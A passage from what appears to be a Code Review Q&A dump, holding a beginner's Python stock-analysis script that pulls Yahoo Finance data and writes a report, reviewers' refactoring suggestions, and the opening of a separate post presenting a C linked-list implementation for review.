Now the script takes care of most of that on its own. Sometimes, when the API is incomplete, the script throws a KeyError, which I haven't found a good way around yet without doing a try/except for every value.</p>
<p>I'm sure however, that this script can be improved a lot and would appreciate any feedback. Thank you and have a great day :)</p>
<pre><code>from time import strftime
from pyfiglet import figlet_format
import json, locale, requests
# Reference: https://rapidapi.com/apidojo/api/yahoo-finance1?endpoint=apiendpoint_2e0b16d4-a66b-469e-bc18-b60cec60661b
# https://finance.yahoo.com/quote/AMRN/financials?p=AMRN
print(figlet_format("Stock Fundamental Analysis\n"))
print("Note: The Stock's numbers will be interpreted as Euro for all but american stocks")
print("Ticker symbol:")
ticker = input("> ")
url_base = "https://apidojo-yahoo-finance-v1.p.rapidapi.com/stock/v2/"
url_summary = url_base + "get-summary"
url_financials = url_base + "get-financials"
date = strftime("%Y-%m-%d")
time = strftime(" %H:%M:%S")
def get_json(url):
"""
:param url: url to the API endpoint
:return: json_data
"""
querystring = {f"symbol": {ticker}}
headers = {
'x-rapidapi-key': "API-KEY",
'x-rapidapi-host': "apidojo-yahoo-finance-v1.p.rapidapi.com"
}
response = requests.request("GET", url, headers=headers, params=querystring)
j_data = json.loads(response.text)
return j_data
def get_currency(currency):
if currency == "USD":
locale.setlocale(locale.LC_ALL, 'en_US.UTF-8')
else:
locale.setlocale(locale.LC_ALL, '')
def ask_yes_no(prompt):
"""
:param prompt: The question to be asked
:return: Value to check
"""
while True:
answer = input(prompt + " (y/n): ")
if answer == "y":
return True
elif answer == "n":
return False
print("Please only enter y or n.")
def check_partners_trends():
# Check Partners
if ask_yes_no("Does it have big partners?"):
partners = input("Who? ")
else:
partners = "none"
# Check Trend
if ask_yes_no("Does it participate in any current trends?"):
trends = input("Which? ")
else:
trends = "none"
return partners, trends
def check_age_forecast_commodity():
# Check age
if ask_yes_no("Is the company older than 10 years?"):
old = True
else:
old = False
# Check forecast
if ask_yes_no("Do you still see the company around in 10 years?"):
future = True
else:
future = False
# Check commodity reliance
if ask_yes_no("Is the company distinguishable from others/ Does it have an economic moat?"):
distinguish = True
else:
distinguish = False
return old, future, distinguish
partner, trend = check_partners_trends()
category = input("Category according to Peter Lynch: ")
age, forecast, moat = check_age_forecast_commodity()
print("Receiving data from Yahoo...")
###############################
""" --- Get-Summary --- """ ##
###############################
json_data = get_json(url_summary)
defaultKeyStatistics = json_data['defaultKeyStatistics']
profit_margin = defaultKeyStatistics['profitMargins']['fmt']
eps = defaultKeyStatistics['forwardEps']['raw']
book_value = defaultKeyStatistics['bookValue']['raw']
try:
price_to_book = round(defaultKeyStatistics['priceToBook']['raw'], 2)
except KeyError:
price_to_book = 0
peg_ratio = defaultKeyStatistics['pegRatio']['fmt']
shares_outstanding = defaultKeyStatistics['sharesOutstanding']['raw']
shares_short = defaultKeyStatistics['sharesShort']['raw']
short_ratio = defaultKeyStatistics['shortRatio']['fmt'] + "%"
summary_profile = json_data['summaryProfile']
sector = summary_profile['sector']
country = summary_profile['country']
city = summary_profile['city']
website = summary_profile['website']
industry = summary_profile['industry']
price = json_data['price']
market_cap = price['marketCap']['raw']
current_price = price['regularMarketPrice']['raw']
name = price['longName']
holders = json_data['majorHoldersBreakdown']
insiders_percentage = holders['insidersPercentHeld']['fmt']
institutions_percentage = holders['institutionsPercentHeld']['fmt']
institutions_float_percentage = holders['institutionsFloatPercentHeld']['fmt']
institutions_count = holders['institutionsCount']['fmt']
financialData = json_data['financialData']
currency = financialData['financialCurrency']
get_currency(currency)
gross_margin = financialData['grossMargins']['raw']
revenue_growth = financialData['revenueGrowth']['fmt']
operating_margins = financialData['operatingMargins']['fmt']
ebitda = financialData['ebitda']['fmt']
current_ratio = financialData['currentRatio']['raw']
return_on_assets = financialData['returnOnAssets']['raw']
debt_to_equity = financialData['debtToEquity']['fmt']
return_on_equity = financialData['returnOnEquity']['fmt']
total_cash_per_share = financialData['totalCashPerShare']['fmt']
quick_ratio = financialData['quickRatio']['fmt']
total_debt = financialData['totalDebt']['fmt']
##################################
""" --- Get-Financials --- """ ##
##################################
json_data = get_json(url_financials)
# Income Statement
def special_income():
try:
research = json_data['incomeStatementHistory']['incomeStatementHistory'][0]['researchDevelopment']['fmt']
except KeyError:
research = 0
return research
income = json_data['incomeStatementHistory']['incomeStatementHistory']
total_rev = income[0]['totalRevenue']['raw']
last_rev = income[1]['totalRevenue']['raw']
gross_profit = income[0]['grossProfit']['raw']
last_profit = income[1]['grossProfit']['raw']
operating_income = income[0]['operatingIncome']['raw']
operating_expenses = income[0]['totalOperatingExpenses']['raw']
interest_expenses = income[0]['interestExpense']['fmt']
cost_of_revenue = income[0]['costOfRevenue']['raw']
net_income = income[0]['netIncome']['raw']
last_income = income[1]['netIncome']['raw']
ebit = income[0]['ebit']['raw']
research = special_income()
# Balance Sheet
def special_balance():
try:
intangible_assets = json_data['balanceSheetHistory']['balanceSheetStatements'][0]['intangibleAssets']['fmt']
except KeyError:
intangible_assets = 0
try:
capital_surplus = json_data['balanceSheetHistory']['balanceSheetStatements'][0]['capitalSurplus']['fmt']
except KeyError:
capital_surplus = 0
return intangible_assets, capital_surplus
balance = json_data['balanceSheetHistory']['balanceSheetStatements']
total_liablities = balance[0]['totalLiab']['raw']
last_liabilities = balance[1]['totalLiab']['raw']
current_liabilities = balance[0]['totalCurrentLiabilities']['raw']
stockholders_equity = balance[0]['totalStockholderEquity']['raw']
last_stockholders = balance[1]['totalStockholderEquity']['raw']
total_assets = balance[0]['totalAssets']['raw']
last_assets = balance[1]['totalAssets']['raw']
current_assets = balance[0]['totalCurrentAssets']['raw']
long_term_debt = balance[0]['longTermDebt']['raw']
last_long_term = balance[1]['longTermDebt']['raw']
short_term_debt = balance[0]['shortLongTermDebt']['raw']
cash = balance[0]['cash']['raw']
inventory = balance[0]['inventory']['fmt']
net_ppe = balance[0]['propertyPlantEquipment']['fmt']
intangible_assets, capital_surplus = special_balance()
# Cash Flow Statement
def special_cash():
try:
repurchase_stock = json_data['cashflowStatementHistory']['cashflowStatements'][0]['repurchaseOfStock']['fmt']
except KeyError:
repurchase_stock = 0
try:
capital_expenditure = json_data['cashflowStatementHistory']['cashflowStatements'][0]['capitalExpenditures']['raw']
except KeyError:
capital_expenditure = 0
return repurchase_stock, capital_expenditure
cashflow = json_data['cashflowStatementHistory']['cashflowStatements']
investing_cash = cashflow[0]['totalCashflowsFromInvestingActivities']['fmt']
financing_cash = cashflow[0]['totalCashFromFinancingActivities']['fmt']
operating_cash = cashflow[0]['totalCashFromOperatingActivities']['raw']
shares_issued = cashflow[0]['issuanceOfStock']['raw']
last_shares = cashflow[1]['issuanceOfStock']['raw']
depreciation = cashflow[0]['depreciation']['raw']
change_cash = cashflow[0]['changeInCash']['raw']
repurchase_stock, capital_expenditure = special_cash()
shares_increased = True if (shares_issued > last_shares) else False
more_cash = True if (cash > long_term_debt) else False
debt_decrease = True if (long_term_debt < last_long_term) else False
asset_increase = True if (total_assets > last_assets) else False
liabilities_increase = True if (total_liablities > last_liabilities) else False
income_increase = True if (net_income > last_income) else False
last_margin = (last_profit / last_rev * 100)
gross_increase = True if (gross_margin > last_margin) else False
net_cash = operating_cash - capital_expenditure
working_capital = current_assets - current_liabilities
return_on_capital_employed = ebit / (total_assets - current_liabilities)
rcoe_to_price = return_on_capital_employed * current_price
company_valuation = round((market_cap / total_rev), 2)
last_current = last_assets / last_liabilities
last_return_on_assets = last_income / last_assets
total_debt_to_total_assets = '{0:.2f}%'.format((current_liabilities + long_term_debt) / total_assets)
print("Analyzing data...")
def analyze():
# Income analysis
income_red_list = ["\n[+] Income statement red flags: \n"]
income_green_list = ["\n[+] Income statement green flags: \n"]
income_red = 0
if income_increase: income_green_list.append("\n[->] Income increased year over year.\n")
if gross_increase: income_green_list.append(['\n[->] The gross margin increased year over year.\n'])
if net_income < last_income:
income_red += 1
income_red_list.append("\n[!] Smaller net income than last year!")
if operating_income < 0:
income_red += 1
income_red_list.append(
"\n[!] The company doesn't generate cash from operations! Negative operative income.")
if operating_expenses > total_rev:
income_red += 1
income_red_list.append(
"\n[!] Operating expenses are more expensive than the produced revenue!")
if cost_of_revenue > gross_profit:
income_red += 1
income_red_list.append(
"\n[!] Cost of revenue higher than gross profit! The product costs more than it produces.")
# Balance analysis
balance_list = ["[+] Balance sheet red flags: \n"]
balance_red = 0
if not asset_increase:
balance_red += 1
balance_list.append("\n[!] Assets are decreasing!")
if not debt_decrease:
balance_red += 1
balance_list.append("\n[!] Long term debt is increasing!")
if not more_cash:
balance_red += 1
balance_list.append("\n[!] The company has less cash than debt!")
if liabilities_increase:
balance_red += 1
balance_list.append("\n[!] The liabilities are increasing!")
if shares_increased:
balance_red += 1
balance_list.append("\n[!] Number of issued shares increased! Company may finance itself via public offerings.")
if stockholders_equity < 0:
balance_red += 1
balance_list.append("\n[!] Stockholders equity is negative! Liabilities are growing faster than assets.")
# Cash flow analysis
cash_list = ["[+] Cash flow red flags: \n"]
cash_red = 0
if net_cash < 0:
cash_red += 1
cash_list.append("\n[!] Negative Net Cash Position.")
if operating_cash < 0:
cash_red += 1
cash_list.append("\n[!] Negative operating cash flow.")
if working_capital < 0:
cash_red += 1
cash_list.append(
"\n[!] Working capital negative! The company took on more debt or sold something to generate more money")
if change_cash < 0:
cash_red += 1
cash_list.append(
"\n[!] Negative net change in cash! Find out why, did the company buy something big?")
if operating_cash < 0:
cash_red += 1
cash_list.append(
"\n[!] Negative operating cash flow! Company is operating at a loss.")
# Intrinsic value
intrinsic_value = 0
total_red = income_red + balance_red + cash_red
if price_to_book < 1.5: intrinsic_value += 1
if book_value > 0: intrinsic_value += 1
if age: intrinsic_value += 1
if forecast: intrinsic_value += 1
if moat: intrinsic_value += 1
if (net_income / stockholders_equity * 100) > 0.1: intrinsic_value += 1
if (total_liablities / stockholders_equity * 100) < 1: intrinsic_value += 1
if net_cash > 0: intrinsic_value += 1
if total_red < 1: intrinsic_value += 1
# Piotroski-F score -> max 8
piotroski = 0
# Profitability criteria
if int(return_on_assets) > 0: piotroski += 1
if operating_cash > 0: piotroski += 1
if return_on_assets > last_return_on_assets: piotroski += 1
if operating_cash > return_on_assets: piotroski += 1
# Leverage, Luquidity and Source of Funds Criteria
if debt_decrease: piotroski += 1
if current_ratio > last_current: piotroski += 1
if not shares_increased: piotroski += 1
if stockholders_equity > last_stockholders: piotroski += 1
# Operating efficiency criteria
if gross_increase: piotroski += 1
return income_red, income_red_list, income_green_list, balance_list, balance_red, cash_list, cash_red, total_red, intrinsic_value, piotroski
income_red, income_red_list, income_green_list, balance_list, balance_red, cash_list, cash_red, total_red, intrinsic_value, piotroski = analyze()
print("Creating report...")
def create_report():
def convert_numbers():
json_data = get_json(url_financials)
mc = json_data['summaryDetail']['marketCap']['fmt']
tr = json_data['incomeStatementHistory']['incomeStatementHistory'][0]['totalRevenue']['fmt']
cr = json_data['incomeStatementHistory']['incomeStatementHistory'][0]['costOfRevenue']['fmt']
ni = json_data['incomeStatementHistory']['incomeStatementHistory'][0]['netIncome']['fmt']
gp = json_data['incomeStatementHistory']['incomeStatementHistory'][0]['grossProfit']['fmt']
oi = json_data['incomeStatementHistory']['incomeStatementHistory'][0]['operatingIncome']['fmt']
oe = json_data['incomeStatementHistory']['incomeStatementHistory'][0]['totalOperatingExpenses']['fmt']
ebi = json_data['incomeStatementHistory']['incomeStatementHistory'][0]['ebit']['fmt']
ta = json_data['balanceSheetHistory']['balanceSheetStatements'][0]['totalAssets']['fmt']
ca = json_data['balanceSheetHistory']['balanceSheetStatements'][0]['totalCurrentAssets']['fmt']
dep = json_data['cashflowStatementHistory']['cashflowStatements'][0]['depreciation']['fmt']
tl = json_data['balanceSheetHistory']['balanceSheetStatements'][0]['totalLiab']['fmt']
cl = json_data['balanceSheetHistory']['balanceSheetStatements'][0]['totalCurrentLiabilities']['fmt']
ltd = json_data['balanceSheetHistory']['balanceSheetStatements'][0]['longTermDebt']['fmt']
oc = json_data['cashflowStatementHistory']['cashflowStatements'][0]['totalCashFromOperatingActivities']['fmt']
se = json_data['balanceSheetHistory']['balanceSheetStatements'][0]['totalStockholderEquity']['fmt']
ce = json_data['cashflowStatementHistory']['cashflowStatements'][0]['capitalExpenditures']['fmt']
return mc, tr, cr, ni, gp, oi, oe, ebi, ta, ca, dep, tl, cl, ltd, oc, se, ce
market_cap, total_rev, cost_of_revenue, net_income, gross_profit, \
operating_income, operating_expenses, ebit, total_assets, current_assets, \
depreciation, total_liablities, current_liabilities, long_term_debt, \
operating_cash, stockholders_equity, capital_expenditure = convert_numbers()
with open(f"{name}.txt", "a") as file:
file.write(figlet_format(name) + "\n\n")
file.write(f"Date of evaluation: {date}\nTime: {time}\n")
file.write("\n\n________________________________________\n\t\t######################\n\t\t## General Overview ##\n\t\t######################\n________________________________________\n\n")
def general_overview():
file.write("# General information\n\n")
file.write(
f"{name} is situated in: {country} in {city}\n- Sector: {sector}\n- Industry: {industry}\n- Company website: {website}\n- Company partners: {partner}\n- Participating in the trend: {trend}\n\n")
file.write("# Valuation\n")
file.write(f"- Current price: %s\n- EPS: {eps}\t\t- PE/G: {peg_ratio}\n" % locale.currency(current_price,
grouping=True))
file.write(
f"- Market capitalization: {market_cap}\n- [+] Valued at: %sx of the total revenue\n\n" % company_valuation)
file.write("# Stockholders\n")
file.write(
f"- Insiders holding: {insiders_percentage}\n- Institutions holding: {institutions_percentage}\n- Float owned by institutions: {institutions_float_percentage}\n- Number of holding institutions: {institutions_count}\n- Shares held short: {short_ratio}\n\n")
file.write("# Financial Data\n")
file.write(f"- Profit margin: {profit_margin}\n")
file.write(f"- Book value: %s\n- Price to book value: {price_to_book}\n" % locale.currency(book_value,
grouping=True))
file.write("- Gross margin: " + '{0:.2f}%'.format(gross_margin) + "\n")
file.write(f"- Revenue growth: {revenue_growth}\n- Operating margins: {operating_margins}\n")
file.write("- Return on assets: " + '{0:.2f}%'.format(return_on_assets) + "\n")
file.write(f"- Return on equity: {return_on_equity}\n- Debt to equity ratio: {debt_to_equity}" + "%\n")
file.write(f"- Total debt to total assets ratio: {total_debt_to_total_assets}\n- Total cash per share: {total_cash_per_share} {currency}\n")
file.write(f"- Quick ratio: {quick_ratio}\n")
file.write("- Return on capital employed: " + '{0:.2f}%'.format(return_on_capital_employed) + "\n")
file.write("- Return on capital employed to price: %s\n" % locale.currency(rcoe_to_price, grouping=True))
def income_statement():
file.write(
"\n\n________________________________________\n\t\t######################\n\t\t## Income Statement ##\n\t\t######################\n________________________________________\n\n")
file.write(
f"- Total revenue: {total_rev}\t\t- Cost of revenue: {cost_of_revenue}\n- Net income: {net_income}\t\t\t- Gross profit: {gross_profit}\n")
file.write(f"- Operating income: {operating_income}\t\t- Operating expenses: {operating_expenses}\n")
file.write(f"- EBIT: {ebit}\t\t\t\t\t- EBITDA: {ebitda}\n")
file.write(f"- Money spent on research: {research}\n- Interest expenses: {interest_expenses}\n\n\n")
file.write("# Income analysis")
for item in income_green_list:
file.write(item)
for item in income_red_list:
file.write(item)
file.write(f"\n\n[+] Total income red flags: {income_red}\n\n\n")
def balance_sheet():
file.write(
"_____________________________________\n\t\t#####################\n\t\t### Balance sheet ###\n\t\t#####################\n_____________________________________\n\n")
file.write("# Assets that be liquidated within one year\n")
file.write(
f"- Total assets: {total_assets}\n- Current assets: {current_assets}\n- Inventory value: {inventory}\n\n")
file.write("# Non-current assets -> require more time for liquidation\n")
file.write(
f"- Net PPE: {net_ppe}\n- Depreciation: {depreciation}\n- Intangible assets: {intangible_assets}\n\n")
file.write("# Liabilities\n")
file.write(
f"- Total liabilities: {total_liablities}\n- Current liabilities/short term debt: {current_liabilities}\n- Long term debt: {long_term_debt}\n- Short long term debt: {short_term_debt}\n- Total debt: {total_debt}\n\n")
file.write("# Additional information\n")
file.write(f"- Stockholders equity: {stockholders_equity}\n- Current ratio: {current_ratio}\n\n")
file.write("# Balance analysis\n")
for item in balance_list:
file.write(item)
file.write(f"\n\n[+] Total balance red flags: {balance_red}\n\n\n")
def cash_flow():
file.write("_____________________________________\n\t\t###################\n\t\t#### Cash flow ####\n\t\t###################\n_____________________________________\n\n")
file.write(f"- Operating cash flow: {operating_cash}\n- Investing cash flow: {investing_cash}\n- Financing cash flow: {financing_cash}\n")
file.write(f"- Free cash: %s\n- Capital expenditure: {capital_expenditure}\n- Stock repurchased: {repurchase_stock}\n\n" % locale.currency(net_cash, grouping=True))
file.write("# Cash analysis\n")
for item in cash_list:
file.write(item)
file.write(f"\n\n[+] Total cash red flags: {cash_red}\n\n\n")
def evaluation():
file.write(
"_____________________________________\n\t\t####################\n\t\t# Final Evaluation #\n\t\t####################\n_____________________________________\n\n")
file.write("# Intrinsic value\n")
file.write(f"- Total red flags: {total_red}\n- Intrinsic value score: {intrinsic_value}/8\n- Piotroski score: {piotroski}/8\n")
def analysis():
if intrinsic_value <= 3:
file.write(
"\n\n[+] Fundamental Analysis: High risk!\n\t[=>] Be careful investing into this company and make sure to check the "
"financial statements and\n\t\tcompany story again properly. Further research recommended!")
elif intrinsic_value == 4 or 5 or 6:
file.write(
"\n\n[+] Fundamental Analysis: Medium risk.\n\t[=>] This company could be turning a profit but for safety reasons, "
"please check the financial statements,\n\t\tred flags and other facts again, to be sure that nothing is "
"inadvertently overlooked")
elif intrinsic_value >= 7:
file.write(
"\n\n[+] Fundamental Analysis: Low risk.\n\t[=>] It's unlikely that the company will go bankrupt in the foreseeable "
"future.")
def glossary():
file.write("\n\n\n_____________________________________\n\t\t###################\n\t\t#### Glossary ####\n\t\t###################\n_____________________________________\n")
file.write("[+] EPS:\n- indicates how much money a company makes for each share of its stock, and is a widely used metric to estimate corporate value\n- A higher EPS indicates greater value because investors will pay more for a company's shares if they think the company has higher profits relative to its share price\n\n")
file.write("[+] PE/G:\n- considered to be an indicator of a stock's true value, and similar to the P/E ratio, a lower PEG may indicate that a stock is undervalued.\n\n")
file.write("[+] Market capitalization:\n- defined as the total market value of all outstanding shares.\n Companies are typically divided according to market capitalization: large-cap ($10 billion or more), mid-cap ($2 billion to $10 billion), and small-cap ($300 million to $2 billion.\n\n")
file.write("[+] Holdings:\n- Who owns the company. The more insiders are holding shares of their own company, the more interested they are in a good performance.\n\n")
file.write("[+] Profit margin:\n- indicates how many cents of profit has been generated for each dollar of sale.\n- As typical profit margins vary by industry sector, care should be taken when comparing the figures for different businesses.\n\n")
file.write("[+] Book value:\n- the difference in value between that company's total assets and total liabilities on its balance sheet.\n- Traditionally, a P/B less than 1.0 is considered a good value, but it can be difficult to pinpoint a 'good' P/B ratio since it can vary by industry and any particular company may have underlying financial troubles.\n\n")
file.write("[+] Price to book value:\n- Investors use the price-to-book value to gauge whether a company's stock price is valued properly.\n- A price-to-book ratio of one means that the stock price is trading in line with the book value of the company.\n- A P/B ratio with lower values, particularly those below one, are a signal to investors that a stock may be undervalued.\n\n")
file.write("[+] Gross margins:\n- shows the amount of profit made before deducting selling, general, and administrative costs.\n\n")
file.write("[+] Revenue growth:\n- measures the increase in a firm's sales from one year to another.\nFor an accurate picture of growth, investors should look at the growth of several quarters and how consistent it is.\n\n")
file.write("[+] Operating margins:\n- the profit a company makes on a dollar of sales after paying for variable costs but before paying any interest or taxes.\n- Operating margin is a profitability ratio that shows how much profit a company makes from its core operations in relation to the total revenues it brings in.\n- An increasing operating margin over a period of time indicates a company whose profitability is improving.\n\n")
file.write("[+] Return on assets:\n- an indicator of how well a company utilizes its assets, by determining how profitable a company is relative to its total assets.\n- best used when comparing similar companies or comparing a company to its previous performance.\n- takes a company's debt into account.\n\n")
file.write("[+] Return on equity:\n- measures how the profitability of a corporation in relation to stockholders’ equity.\n- As a shortcut, investors can consider an ROE near the long-term average of the S&P 500 (14%) as an acceptable ratio and anything less than 10% as poor.\n\n")
file.write("[+] Debt to equity ratio:\n- compares a company’s total liabilities to its shareholder equity and can be used to evaluate how much leverage a company is using.\n- Higher leverage ratios tend to indicate a company or stock with higher risk to shareholders.\n\n")
file.write("[+] Total debt to total assets ratio:\n- shows the degree to which a company has used debt to finance its assets.\n- If a company has a total-debt-to-total-assets ratio of 0.4, 40% of its assets are financed by creditors, and 60% are financed by owners (shareholders) equity.\n\n")
file.write("[+] Total cash per share:\n- tells us the percentage of a company’s share price available to spend on strengthening the business, paying down debt, returning money to shareholders, and other positive campaigns.\n- Paradoxically, too much cash per share can be a negative indicator of a company's health, because it may suggest an unwillingness by management to nurture forward-thinking measures.\n\n")
file.write("[+] Quick ratio:\n- indicates a company's capacity to pay its current liabilities without needing to sell its inventory or get additional financing.\n- The higher the ratio result, the better a company's liquidity and financial health; the lower the ratio, the more likely the company will struggle with paying debts.\n\n")
file.write("[+] Return on capital employed:\n- measures a company’s profitability in terms of all of its capital.\n- can be used when analyzing a company’s financials for profitability performance.\n- reflects a company's ability to earn a return on all of the capital it employs.\n\n")
file.write("[+] Return on capital employed to price:\n- Amount of money the company is generating per one share at the current price.\n\n")
file.write("[+] EBIT:\n- earnings before interest and taxes\n- a company's net income before income tax expense and interest expenses are deducted.\n- used to analyze the performance of a company's core operations without the costs of the capital structure and tax expenses impacting profit.\n- takes a company's cost of manufacturing including raw materials and total operating expenses, which include employee wages, into consideration.\n\n")
file.write("[+] EBITDA:\n- a good measure of core profit trends because it eliminates some extraneous factors and allows a more 'apples-to-apples' comparisons.\n- can be used as a shortcut to estimate the cash flow available to pay the debt of long-term assets.\n\n")
file.write("[+] Net PPE:\n- Property, plant, and equipment are also called fixed assets, meaning they are physical assets that a company cannot easily liquidate.\n- long-term assets vital to business operations and the long-term financial health of a company.\n- Purchases of PP&E are a signal that management has faith in the long-term outlook and profitability of its company.\n\n")
file.write("[+] Depreciation:\n- Wear and Tear on the assets.\n- represents how much of an asset's value has been used up.\n- Depreciating assets helps companies earn revenue from an asset while expensing a portion of its cost each year the asset is in use.\n\n")
file.write("[+] Intangible assets:\n- an asset that is not physical in nature. Goodwill, brand recognition and intellectual property, such as patents, trademarks, and copyrights.\n- Intangible assets exist in opposition to tangible assets, which include land, vehicles, equipment, and inventory.\n\n")
file.write("[+] Long term debt:\n- A loan that the company took to finance its operations.\n- debt that matures in more than one year and is often treated differently from short-term debt.\n- Entities choose to issue long-term debt with various considerations, primarily focusing on the timeframe for repayment and interest to be paid.\n\n")
file.write("[+] Stockholder's Equity:\n- refers to the assets remaining in a business once all liabilities have been settled.\n- A negative stockholders' equity may indicate an impending bankruptcy.\n\n")
file.write("[+] Current ratio:\n- compares all of a company’s current assets to its current liabilities. These are usually defined as assets that are cash or will be turned into cash in a year or less, and liabilities that will be paid in a year or less.\n- sometimes referred to as the “working capital” ratio and helps investors understand more about a company’s ability to cover its short-term debt with its current assets.\n- A ratio under 1 indicates that the company’s debts due in a year or less are greater than its assets \n\n")
file.write("[+] Free Cash Flow:\n- the money a company has left over after paying its operating expenses and capital expenditures.\n- The more free cash flow a company has, the more it can allocate to dividends, paying down debt, and growth opportunities.\n- If a company has a decreasing free cash flow, that is not necessarily bad if the company is investing in its growth.\n\n")
file.write("[+] Capital expenditure:\n- funds used by a company to acquire, upgrade, and maintain physical assets such as property, plants, buildings, technology, or equipment.\n- can include repairing a roof, purchasing a piece of equipment, or building a new factory.\n\n")
file.write("[+] Intrinsic value:\n- Evaluates some key fundamental data to determine the company's health.\n")
file.write("[+] Piotroski Score:\n- incorporates eight factors that speak to a firm's financial strength.\n- aspects are based on accounting results over a number of years; a point is awarded each time a standard is met, resulting in an overall score.\n- A favorite metric used to judge value stocks.\n- Used to determine the strength of a firms financial position\n\n")
general_overview()
income_statement()
balance_sheet()
cash_flow()
evaluation()
analysis()
glossary()
create_report()
print("Done.\n")
print("The intrinsic value score is: " + str(intrinsic_value) + "/9\n")
print("The Piotroski F score is: " + str(piotroski) + "/8\n")
print("A report has been generated. Please check the same directory this program is located in\nThank you for using the Stock analysis tool.")
</code></pre>
<p>Edit: I tried solving the KeyError using a for loop:</p>
<pre><code>item_list = ['forwardEPS', 'bookValue']
for item in item_list:
try:
item = defaultKeyStatistics[item]['raw']
except KeyError:
item = 0
</code></pre>
<p>But I can't figure out how to return the variable with the respective value (e.g. forwardEps = 10, bookValue = 5) as it always returns the last item, with item as variable name (e.g. item = 5)</p>
|
[] |
[
{
"body": "<p>Just some quick notes:</p>\n<ul>\n<li><p>Are you sure this is correct: <code>querystring = {f"symbol": {ticker}}</code>?\nIt looks like you either wanted <code>querystring = {"symbol": ticker}</code> or <code>querystring = f"symbol={ticker}"</code>, but not this combination of the two.</p>\n</li>\n<li><p><code>get_currency</code> can be simplified using a ternary expression:</p>\n<pre><code>def get_currency(currency):\n locale.setlocale(locale.LC_ALL, 'en_US.UTF-8' if currency == "USD" else '')\n</code></pre>\n</li>\n<li><p>Your <code>check_*</code> functions can be simplified by using the boolean result directly:</p>\n<pre><code>def check_age_forecast_commodity():\n # Check age\n old = ask_yes_no("Is the company older than 10 years?")\n\n # Check forecast\n future = ask_yes_no("Do you still see the company around in 10 years?")\n\n # Check commodity reliance\n distinguish = ask_yes_no("Is the company distinguishable from others/ Does it have an economic moat?")\n\n return old, future, distinguish\n</code></pre>\n</li>\n<li><p>Similarly, you don't need ternary expressions here, you can directly use the boolean results:</p>\n<pre><code>shares_increased = shares_issued > last_shares\n</code></pre>\n</li>\n<li><p>Python has an official style-guide, <a href=\"https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiliLO5gcvuAhUGilwKHU_HDV4QFjAAegQICRAC&url=https%3A%2F%2Fwww.python.org%2Fdev%2Fpeps%2Fpep-0008%2F&usg=AOvVaw0xCyNbAyoecmbLoILApdrP\" rel=\"nofollow noreferrer\">PEP8</a>. It recommends always putting code on a new line when starting a new block, so not to use this:</p>\n<pre><code>if price_to_book < 1.5: intrinsic_value += 1\n</code></pre>\n<p>But this:</p>\n<pre><code>if price_to_book < 1.5:\n intrinsic_value += 1\n</code></pre>\n</li>\n<li><p>Instead of having many <code>file.write</code> calls, consider building a list (or any iterable, really) of lines first and then just use <code>file.writelines(lines)</code> instead. Note that the lines still need a final <code>\\n</code>, otherwise they will not actually become multiple lines.\nThis also allows you to separate getting the content from actually writing the file, allowing you to print it to the terminal instead, send it via email or do whatever else you might want to do with it in the future.</p>\n</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T10:40:06.560",
"Id": "255501",
"ParentId": "255474",
"Score": "3"
}
},
{
"body": "<p>I managed to handle the second part of my question, regarding the try/except part:</p>\n<pre><code>item_list = ['forwardEps', 'bookValue']\n\ndef get_data(value, url, query_data):\n """\n Query the items of query_data, avoiding KeyErrors\n -> returns a dictionary, e.g.: {'forwardEps': 5.42, 'bookValue': 23.37}\n """\n\n json_data = get_json(url)\n value = json_data['defaultKeyStatistics']\n\n results = {}\n\n for item in query_data:\n try:\n results[item] = value[item]['raw']\n except KeyError:\n results[item] = 0\n\n return results\n\n\nresults = get_data("defaultKeyStatistics", url_summary, item_list)\n\neps = results['forwardEps']\nbook_value = results['bookValue']\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-04T20:33:16.947",
"Id": "255622",
"ParentId": "255474",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T20:56:29.263",
"Id": "255474",
"Score": "2",
"Tags": [
"python",
"beginner",
"python-3.x"
],
"Title": "Stock analysis querrying data from yahoo"
}
|
255474
|
<p>This is a beginner's attempt at implementing a linked list in C. Please read the code and provide recommendations. I do not want to limit the reader's benevolence to only these questions, but my specific questions are as follows.</p>
<ul>
<li>Am I treating errors, exit codes, and warning messages appropriately?</li>
<li>How can I improve my testing methodology (which is currently just to write print statements and manually check them)? In particular, what's a good way of checking that deleteList is working?</li>
<li>Is this code allocating and freeing memory in a responsible manner?</li>
</ul>
<pre><code> #include <stdio.h>
#include <stdlib.h>
typedef struct node {
int val;
struct node* next;
} node_t;
//printList
void printList(node_t* head) {
if (head) {
node_t* current = head;
while (current != NULL) {
printf("%d\n", current->val);
current = current->next;
}
printf("\n");
return;
}
printf("Cannot print an empty list.");
exit(1);
}
//addAtEnd
void addAtEnd(node_t* head, int val) {
if (head) {
node_t* current = head;
while (current->next != NULL) {
current = current->next;
}
current->next = (node_t*)malloc(sizeof(node_t));
if (current->next) {
current->next->next = NULL;
current->next->val = val;
}
return;
}
printf("Cannot add to NULL.");
exit(1);
}
//addAtStart
void addAtStart(node_t** head, int val) {
if (*head) {
node_t* new_node = (node_t*)malloc(sizeof(node_t));
if (new_node) {
new_node->next = *head;
new_node->val = val;
}
*head = new_node;
return;
}
printf("Cannot add to NULL.");
exit(1);
}
//addAtIndex
void addAtIndex(node_t** head, int val, int n) {
if (*head) {
if (n == 0) {
addAtStart(head, val);
return;
}
int i;
node_t* current = *head;
node_t* next_node = (*head)->next;
for (i = 0; i < n - 1; i++) {
if (current->next == NULL) {
printf("Index out of bounds.");
exit(1);
}
current = current->next;
next_node = next_node->next;
}
node_t* new_node = (node_t*)malloc(sizeof(node_t));
if (new_node) {
new_node->next = next_node;
new_node->val = val;
current->next = new_node;
return;
}
}
printf("Cannot add to NULL.");
exit(1);
}
//removeAtEnd
int removeAtEnd(node_t* head) {
if (head) {
if (head->next == NULL) {
printf("WARNING: Removing the list's only element. Further use of this list's identifier will result in unintended effects.");
int retval = head->val;
free(head);
return retval;
}
node_t* current = head;
node_t* next_node = head->next;
while (next_node->next != NULL) {
current = current->next;
next_node = next_node->next;
}
int retval = next_node->val;
free(next_node);
current->next = NULL;
return retval;
}
printf("Cannot remove from NULL.");
exit(1);
}
//removeAtStart
